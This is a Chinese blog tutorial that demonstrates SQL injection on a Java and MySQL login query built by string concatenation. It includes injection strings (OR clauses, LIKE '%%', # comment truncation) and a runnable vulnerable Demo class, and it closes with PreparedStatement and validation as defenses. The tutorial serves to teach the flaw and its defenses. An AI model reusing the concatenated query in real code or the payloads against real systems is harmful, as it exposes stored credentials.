SQL注入(案例演示)


一、SQL注入是什么?

在程序事先定义好的 查询语句中添加额外的SQL语句 ,在管理员不知情的情况下实现非法操作,以此来实现 欺骗数据库服务器执行非授权的任意查询 ,从而进一步得到相应的数据信息。
SQL注入通俗说就是:
通过SQL语句找到破绽,进行非法的数据读取。

二、实现步骤

说明:
用一个简单的查询案列说明 SQL 注入
案例使用的为:Java语言与MySQL数据库

1.新建数据表

1.新建一个数据表并添加几条数据

# 新建表
CREATE TABLE `user`  (
  `user_name` varchar(255),
  `password` varchar(255)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
# 向表中添加数据
INSERT INTO `user` VALUES ('zhangsan', '123456');
INSERT INTO `user` VALUES ('1', '2');
INSERT INTO `user` VALUES ('1', '1');
INSERT INTO `user` VALUES ('1', '3');

此时数据库的数据为下图所示:
在这里插入图片描述

2.SQL注入分析

1.定义SQL语句

可以看出在参数userName和password 的部分SQL语句是传递的字符串,也就是说可以传递任意内容
String sql = "select * from user where user_name = ’ " + userName + "’ and password = ’ " + password + " ’ ";

2.设置userName和password参数值

通过参数userName的传值来演示获取非法数据
将userName的值分为四种情况,password 的值在这四种情况下都为固定值 1

合法参数获取数据
String userName = “1”;
String password = “1”;
传递参数后SQL语句变为:
select * from user where user_name = ‘1’ and password = ‘1’
此时可从数据库中读取出一条数据:
User(userName=1, password=1)

非法参数获取数据(1)—— 掌握一部分信息即可获取到其它信息
String userName = “1’ or password = '”;
String password = “1”;
传递参数后SQL语句变为:
select * from user where user_name = ‘1’ or password = ‘' and password = '1
此时可从数据库中读取出三条数据:
User(userName=1, password=2)User(userName=1, password=1)User(userName=1, password=3)

非法参数获取数据(2)—— 什么都不需要即可获取所有信息
String userName = “’ or user_name like ‘%%’ or password = '”;
String password = “1”;
传递参数后SQL语句变为:
select * from user where user_name = ‘’ or user_name like ‘%%’ or password = ‘'and password = '1
此时可从数据库中读取出四条数据:
User(userName=zhangsan, password=123456)User(userName=1, password=2)User(userName=1, password=1)User(userName=1, password=3)

非法参数获取数据(3)—— 利用#注释掉多余SQL
String userName = "’ or user_name like ‘%%’ # or password = ’ ";
String password = “1”;
传递参数后SQL语句变为:
select * from user where user_name = '' or user_name like '%%' # or password = ’ and password = ‘1’
此时可从数据库中读取出四条数据:
User(userName=zhangsan, password=123456)User(userName=1, password=2)User(userName=1, password=1)User(userName=1, password=3)

3.代码案例

1.新建一个User实体类

【说明】
如果不使用lombok的@Data注解,需要添加set get方法和toString方法

@Data
public class User {
    
    
    private String userName;
    private String password;
}

2.新建Demo类,体验SQL注入

public class Demo {
    
    
    public static void main(String[] args) throws Exception{
    
    
//        String userName = "1";  // 正常操作
//        String userName = "1' or password = '"; // 掌握丢丢信息就可以获取其它信息
//        String userName = "' or user_name like '%%' or password = '"; // 什么都不需要就可拿到所有信息
        String userName = "' or user_name like '%%' # or password = ' "; // 升级版
        String password = "1";

        // 加载数据库驱动
        Class.forName("com.mysql.jdbc.Driver");
        // 创建数据库连接
        Connection conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/user表所在的数据库名?" +
                "characterEncoding=utf-8&useUnicode=true","root","123456");
        // 定义SQL语句
        String sql = "select * from user where user_name = '" + userName + "' and password = '" + password + "'";
        // 打印出拼接后的SQL语句
        System.out.println(sql);
        // 创建SQL执行对象
        Statement stmt = conn.createStatement();
        // 执行SQL语句并返回结果集
        ResultSet rs = stmt.executeQuery(sql);
        // 遍历出结果集到List集合
        List<User> userList = new CopyOnWriteArrayList<>();
        while (rs.next()) {
    
    
            User user = new User();
            user.setUserName(rs.getString(1));
            user.setPassword(rs.getString(2));
            userList.add(user);
        }
        // 打印结果集
        for (User user : userList) {
    
    
            System.out.println(user);
        }
    }
}

三、防止SQL注入的方式

  1. SQL预编译(Java提供了PreparedStatement类)
  2. 校验参数(使用正则表达式等)

猜你喜欢

转载自blog.csdn.net/weixin_44580492/article/details/112392239